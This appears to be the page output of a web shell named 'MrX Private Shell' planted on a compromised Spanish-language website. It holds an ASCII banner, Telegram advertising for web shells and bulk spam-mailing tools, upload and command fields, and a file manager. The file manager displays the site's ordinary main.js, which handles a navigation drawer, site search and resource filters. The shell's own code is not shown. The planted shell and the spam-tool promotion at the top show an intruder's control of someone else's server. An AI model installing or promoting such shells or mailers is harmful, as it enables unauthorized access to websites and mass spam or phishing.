__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
const body = document.body;
const stickyBar = document.getElementById("uBar");
const burger = document.getElementById("uBurger");
const drawerShell = document.getElementById("uDrawerShell");
const drawer = document.getElementById("uDrawer");
const drawerCloseButtons = document.querySelectorAll("[data-drawer-close]");
const searchOverlay = document.getElementById("uSearchDialog");
const searchPanel = searchOverlay?.querySelector(".u-search-panel") || null;
const searchInput = document.getElementById("uSiteSearchInput");
const searchResults = document.getElementById("uSearchResults");
const searchStatus = document.getElementById("uSearchStatus");
const searchToggles = document.querySelectorAll("[data-site-search-toggle]");
const searchCloseButtons = document.querySelectorAll("[data-site-search-close]");

let drawerOpen = false;
let searchOpen = false;
let drawerOrigin = null;
let searchOrigin = null;
let siteSearchItems = [];
let siteSearchLoaded = false;
let siteSearchRequest = null;

const FOCUSABLE_SELECTOR = [
  'a[href]',
  'button:not([disabled])',
  'input:not([disabled])',
  'select:not([disabled])',
  'textarea:not([disabled])',
  '[tabindex]:not([tabindex="-1"])',
].join(",");

const syncBodyLock = () => {
  body.classList.toggle("u-lock-scroll", drawerOpen || searchOpen);
};

const getFocusableElements = (container) => {
  if (!container) {
    return [];
  }

  return Array.from(container.querySelectorAll(FOCUSABLE_SELECTOR)).filter((element) => {
    if (!(element instanceof HTMLElement)) {
      return false;
    }

    return !element.hasAttribute("hidden") && element.offsetParent !== null;
  });
};

const trapFocus = (event, container) => {
  if (event.key !== "Tab") {
    return;
  }

  const focusable = getFocusableElements(container);
  if (!focusable.length) {
    return;
  }

  const first = focusable[0];
  const last = focusable[focusable.length - 1];
  const active = document.activeElement;

  if (event.shiftKey && active === first) {
    event.preventDefault();
    last.focus();
    return;
  }

  if (!event.shiftKey && active === last) {
    event.preventDefault();
    first.focus();
  }
};

const restoreFocus = (element) => {
  if (element instanceof HTMLElement) {
    window.setTimeout(() => element.focus(), 0);
  }
};

if (stickyBar) {
  const onScroll = () => stickyBar.classList.toggle("stuck", window.scrollY > 6);
  window.addEventListener("scroll", onScroll, { passive: true });
  onScroll();
}

const setDrawerState = (open, options = {}) => {
  if (!drawerShell || !burger) {
    return;
  }

  const { restoreOnClose = true } = options;

  drawerOpen = open;
  drawerShell.classList.toggle("is-open", open);
  drawerShell.setAttribute("aria-hidden", open ? "false" : "true");
  burger.setAttribute("aria-expanded", String(open));
  syncBodyLock();

  if (open) {
    drawerOrigin = document.activeElement instanceof HTMLElement ? document.activeElement : burger;
    const firstFocusable = getFocusableElements(drawer)[0];
    window.setTimeout(() => {
      (firstFocusable || drawer || burger).focus();
    }, 20);
    return;
  }

  if (restoreOnClose) {
    restoreFocus(drawerOrigin);
  }
};

const closeDrawer = (options) => setDrawerState(false, options);
const openDrawer = () => setDrawerState(true);

if (burger && drawerShell) {
  burger.addEventListener("click", () => {
    if (drawerOpen) {
      closeDrawer();
      return;
    }

    openDrawer();
  });
}

drawerCloseButtons.forEach((button) => {
  button.addEventListener("click", () => closeDrawer());
});

if (drawer) {
  drawer.querySelectorAll("a").forEach((link) => {
    link.addEventListener("click", () => closeDrawer());
  });
}

const escapeHtml = (value = "") => value.replace(/[&<>"']/g, (match) => {
  const map = {
    "&": "&amp;",
    "<": "&lt;",
    ">": "&gt;",
    '"': "&quot;",
    "'": "&#39;",
  };
  return map[match] || match;
});

const normalizeText = (value = "") => value
  .normalize("NFD")
  .replace(/[\u0300-\u036f]/g, "")
  .toLowerCase()
  .trim();

const loadSiteSearchItems = async () => {
  if (siteSearchLoaded) {
    return siteSearchItems;
  }

  if (siteSearchRequest) {
    return siteSearchRequest;
  }

  siteSearchRequest = fetch("site-search-index.php", {
    headers: { Accept: "application/json" },
  })
    .then((response) => {
      if (!response.ok) {
        throw new Error(`Search index request failed: ${response.status}`);
      }
      return response.json();
    })
    .then((parsed) => {
      siteSearchItems = Array.isArray(parsed)
        ? parsed.map((item, index) => {
            const title = String(item.title || "");
            const description = String(item.description || "");
            const section = String(item.section || "General");
            const url = String(item.url || "#");
            const keywords = Array.isArray(item.keywords) ? item.keywords.map(String) : [];

            return {
              title,
              description,
              section,
              url,
              external: Boolean(item.external),
              index,
              haystack: normalizeText([title, description, section, ...keywords].join(" ")),
            };
          })
        : [];

      siteSearchLoaded = true;
      return siteSearchItems;
    })
    .catch(() => {
      siteSearchItems = [];
      siteSearchLoaded = true;
      return siteSearchItems;
    })
    .finally(() => {
      siteSearchRequest = null;
    });

  return siteSearchRequest;
};

const scoreSearchItem = (item, query, terms) => {
  const normalizedTitle = normalizeText(item.title);
  const normalizedDescription = normalizeText(item.description);
  let score = 0;

  if (normalizedTitle === query) {
    score += 12;
  }
  if (normalizedTitle.startsWith(query)) {
    score += 7;
  }
  if (normalizedTitle.includes(query)) {
    score += 5;
  }
  if (normalizedDescription.includes(query)) {
    score += 3;
  }
  if (item.haystack.includes(query)) {
    score += 2;
  }

  terms.forEach((term) => {
    if (normalizedTitle.includes(term)) {
      score += 2;
    }
    if (item.haystack.includes(term)) {
      score += 1;
    }
  });

  return score;
};

const renderSearchResults = (rawQuery = "") => {
  if (!searchResults || !searchStatus) {
    return;
  }

  const originalQuery = rawQuery.trim();
  const normalizedQuery = normalizeText(originalQuery);
  const terms = normalizedQuery.split(/\s+/).filter(Boolean);
  let results = [];

  if (!siteSearchItems.length) {
    searchStatus.textContent = "El indice de busqueda no esta disponible.";
    searchResults.innerHTML = '<div class="u-search-empty">No fue posible cargar los elementos del buscador.</div>';
    return;
  }

  if (!terms.length) {
    results = siteSearchItems.slice(0, 10);
    searchStatus.textContent = "Sugerencias rapidas del sitio.";
  } else {
    results = siteSearchItems
      .map((item) => ({
        ...item,
        score: scoreSearchItem(item, normalizedQuery, terms),
      }))
      .filter((item) => item.score > 0 && terms.every((term) => item.haystack.includes(term)))
      .sort((a, b) => {
        if (b.score !== a.score) {
          return b.score - a.score;
        }
        return a.index - b.index;
      })
      .slice(0, 14);

    searchStatus.textContent = results.length
      ? `${results.length} resultado${results.length === 1 ? "" : "s"} para "${originalQuery}".`
      : `No encontramos coincidencias para "${originalQuery}".`;
  }

  if (!results.length) {
    searchResults.innerHTML = '<div class="u-search-empty">Prueba con el nombre de un recurso, servicio, tutorial o sede.</div>';
    return;
  }

  searchResults.innerHTML = results.map((item) => {
    const target = item.external ? ' target="_blank" rel="noopener noreferrer"' : "";
    const flag = item.external ? "Enlace externo" : "Dentro del sitio";
    const description = item.description !== ""
      ? `<p>${escapeHtml(item.description)}</p>`
      : "";

    return `
      <a class="u-search-result" href="${escapeHtml(item.url)}"${target}>
        <div class="u-search-result__meta">
          <span class="u-search-result__section">${escapeHtml(item.section)}</span>
          <span class="u-search-result__flag">${flag}</span>
        </div>
        <strong>${escapeHtml(item.title)}</strong>
        ${description}
      </a>
    `;
  }).join("");
};

const setSearchState = async (open) => {
  if (!searchOverlay) {
    return;
  }

  searchOpen = open;
  searchOverlay.hidden = !open;
  searchToggles.forEach((button) => {
    button.setAttribute("aria-expanded", String(open));
  });
  syncBodyLock();

  if (open) {
    if (searchStatus) {
      searchStatus.textContent = "Cargando indice de busqueda...";
    }
    if (searchResults) {
      searchResults.innerHTML = "";
    }

    await loadSiteSearchItems();
    renderSearchResults(searchInput?.value || "");

    window.setTimeout(() => {
      searchInput?.focus();
      searchInput?.select();
    }, 40);
    return;
  }

  restoreFocus(searchOrigin);
};

const openSearch = async () => {
  if (searchOpen) {
    return;
  }

  searchOrigin = document.activeElement instanceof HTMLElement ? document.activeElement : null;
  if (drawerOpen) {
    closeDrawer({ restoreOnClose: false });
  }

  await setSearchState(true);
};

const closeSearch = () => {
  if (!searchOpen) {
    return;
  }

  setSearchState(false);
};

searchToggles.forEach((button) => {
  button.addEventListener("click", () => {
    openSearch();
  });
});

searchCloseButtons.forEach((button) => {
  button.addEventListener("click", closeSearch);
});

if (searchInput) {
  searchInput.addEventListener("input", (event) => {
    renderSearchResults(event.currentTarget.value);
  });
}

document.addEventListener("keydown", (event) => {
  if ((event.ctrlKey || event.metaKey) && event.key.toLowerCase() === "k") {
    event.preventDefault();
    openSearch();
    return;
  }

  if (event.key === "Tab") {
    if (searchOpen && searchPanel) {
      trapFocus(event, searchPanel);
      return;
    }

    if (drawerOpen && drawer) {
      trapFocus(event, drawer);
      return;
    }
  }

  if (event.key === "Escape") {
    if (searchOpen) {
      closeSearch();
      return;
    }

    if (drawerOpen) {
      closeDrawer();
    }
  }
});

// Filtros y busqueda de recursos digitales.
const grid = document.getElementById("rdGrid");
const tabs = document.querySelectorAll(".rd-tab");
const query = document.getElementById("rdQuery");
let activeType = "all";

function applyFilters() {
  if (!grid) {
    return;
  }

  const textQuery = normalizeText(query?.value || "");

  grid.querySelectorAll(".rd-card").forEach((card) => {
    const type = card.getAttribute("data-tipo");
    const text = normalizeText(card.textContent || "");
    const matchType = activeType === "all" || type === activeType;
    const matchText = !textQuery || text.includes(textQuery);
    card.style.display = matchType && matchText ? "" : "none";
  });
}

tabs.forEach((button) => {
  button.addEventListener("click", () => {
    tabs.forEach((tab) => {
      tab.classList.remove("is-active");
      tab.setAttribute("aria-selected", "false");
    });

    button.classList.add("is-active");
    button.setAttribute("aria-selected", "true");
    activeType = button.getAttribute("data-filter") || "all";
    applyFilters();
  });
});

if (query) {
  query.addEventListener("input", applyFilters);
}

Filemanager

Name Type Size Permission Actions
home-sliders.js File 9.67 KB 0664
main.js File 11.16 KB 0664
quienes-somos.js File 748 B 0664
tutoriales.js File 9.06 KB 0664
Filemanager